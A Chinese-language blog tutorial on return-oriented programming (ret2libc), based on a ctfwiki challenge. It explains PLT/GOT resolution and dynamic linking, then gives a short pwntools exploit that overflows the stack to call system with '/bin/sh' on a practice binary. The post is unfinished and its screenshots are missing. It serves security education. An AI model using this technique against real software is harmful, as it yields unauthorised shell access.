浅谈ROP-ret2libc原理-题目源于[ctfwiki]

rop：在栈缓冲区溢出的基础上，利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值，从而控制程序的执行流程。–[ctfwiki]
传送门
之前提到的ret2syscall，提到了静态链接，而libc主要利用了动态链接。

0x01

知识点：
简单来说，静态链接就是直接在原有的基础之上进行访问，而动态链接就是直接放上一个链接来访问。
1.plt表和got表

拿一个c语言编写的printf函数为例，当调用printf函数时，先去plt表和got表寻找printf函数的真实地址。plt表指向got表中的地址，got表指向glibc中的地址。

当第一次调用函数时，过程为：plt->got->plt->公共plt->动态连接器_dl_runtime_resolve->找到函数地址。其中，_dl_runtime_resolve函数作用为查找函数地址并返回给got表。

当第二次调用时，过程为：plt->got->直接获取函数地址，因为此时got表已经记录函数地址。

0x02

0x01,ret2libc1
题目解析：首先checksec一下：

放到ida中:发现有system函数的plt表，以及binsh关键字：

此时，求偏移量：

我们就可以利用以上地址编写exp：

from pwn import *

sh = process('./ret2libc1')
#sh=remote(" ",)
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
#flat函数，相当于p32()/p64()函数，‘b’*4表示返回地址，可以随便填写
sh.sendline(payload)

sh.interactive()

未完待续。。。